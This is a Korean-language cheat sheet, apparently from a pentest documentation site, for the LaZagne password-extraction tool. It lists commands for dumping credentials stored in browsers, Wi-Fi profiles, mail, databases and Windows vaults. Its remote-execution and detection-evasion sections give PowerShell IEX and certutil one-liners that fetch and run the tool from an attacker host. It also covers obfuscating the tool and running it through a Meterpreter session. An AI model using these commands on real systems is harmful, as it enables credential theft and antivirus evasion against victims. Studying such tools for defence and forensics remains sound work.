Skip to main content

LaZagne

https://github.com/AlessandroZ/LaZagne

로컬에 저장된 비밀번호를 자동으로 추출하는 도구입니다.

다운로드​

# Git clone
git clone https://github.com/AlessandroZ/LaZagne.git

# 또는 릴리즈에서 다운로드
# https://github.com/AlessandroZ/LaZagne/releases

Windows​

기본 사용​

# 모든 비밀번호 추출
laZagne.exe all

# 특정 모듈만
laZagne.exe browsers
laZagne.exe wifi
laZagne.exe databases

모듈별 실행​

# 브라우저
laZagne.exe browsers

# Wi-Fi
laZagne.exe wifi

# Windows 자격증명
laZagne.exe windows

# 데이터베이스
laZagne.exe databases

# 채팅
laZagne.exe chats

# 이메일
laZagne.exe mails

# Git
laZagne.exe git

# SVN
laZagne.exe svn

출력 옵션​

# JSON 형식
laZagne.exe all -oJ

# 파일로 저장
laZagne.exe all -output C:\temp\results.txt

# JSON 파일로
laZagne.exe all -oJ -output results.json

Verbose 모드​

laZagne.exe all -v
laZagne.exe all -vv

Linux​

기본 사용​

# 모든 비밀번호 추출
python laZagne.py all

# 특정 모듈
python laZagne.py browsers
python laZagne.py wifi

모듈별 실행​

# 브라우저
python laZagne.py browsers

# Wi-Fi
python laZagne.py wifi

# 환경변수
python laZagne.py wallet

# 메모리
python laZagne.py memory

지원 소프트웨어​

브라우저​

- Chrome
- Firefox
- Opera
- Edge
- Internet Explorer
- Safari (Mac)

Wi-Fi​

- Windows Wi-Fi 프로필
- Linux NetworkManager

메일 클라이언트​

- Outlook
- Thunderbird

데이터베이스​

- SQLite
- MySQL
- PostgreSQL

FTP 클라이언트​

- FileZilla
- WinSCP

채팅​

- Skype
- Pidgin

Git​

- Git 자격증명

Windows 자격증명​

- Windows Vault
- Credential Manager
- Autologon

실제 사용 예제​

시나리오 1: 전체 추출​

REM Windows
laZagne.exe all -v -oJ -output results.json
# Linux
python laZagne.py all -v -oJ -output results.json

시나리오 2: 브라우저만​

laZagne.exe browsers -v

시나리오 3: Wi-Fi 비밀번호​

laZagne.exe wifi

시나리오 4: 원격 실행​

# PowerShell로 다운로드 및 실행
IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/Invoke-LaZagne.ps1')
Invoke-LaZagne -All

# 또는 직접 다운로드
certutil -urlcache -f http://<LHOST>/laZagne.exe laZagne.exe
laZagne.exe all -oJ -output results.json

옵션​

-h, --help # 도움말
-v, --verbose # Verbose 출력
-vv # 매우 Verbose
-oJ # JSON 형식 출력
-output FILE # 파일로 저장
-password PASSWORD # 마스터 비밀번호 (일부 앱)

탐지 회피​

메모리에서 실행​

# Invoke-LaZagne
IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/Invoke-LaZagne.ps1')

난독화​

# PyArmor 등으로 난독화

결과 분석​

JSON 출력 예제​

{
"Chrome": [
{
"URL": "https://example.com",
"Login": "user@example.com",
"Password": "password123"
}
],
"Wifi": [
{
"SSID": "MyWiFi",
"Password": "wifipass123"
}
]
}

Metasploit과 함께 사용​

# Meterpreter 세션에서
meterpreter > upload laZagne.exe
meterpreter > shell
C:\> laZagne.exe all -oJ

다른 도구와 비교​

  • mimikatz: LSASS 메모리에서 자격증명 추출
  • LaZagne: 로컬에 저장된 비밀번호 추출
  • Invoke-Mimikatz: PowerShell 기반 메모리 추출
  • SessionGopher: RDP/PuTTY 세션 정보

참고​

  • 관리자 권한이 있으면 더 많은 정보 추출 가능
  • 백신에 탐지될 수 있음
  • 합법적인 포렌식 목적으로도 사용
  • Windows Credential Manager, Chrome, Firefox 등 지원
  • JSON 출력으로 파싱 쉬움
  • 오프라인 분석 가능
  • 일부 앱은 마스터 비밀번호 필요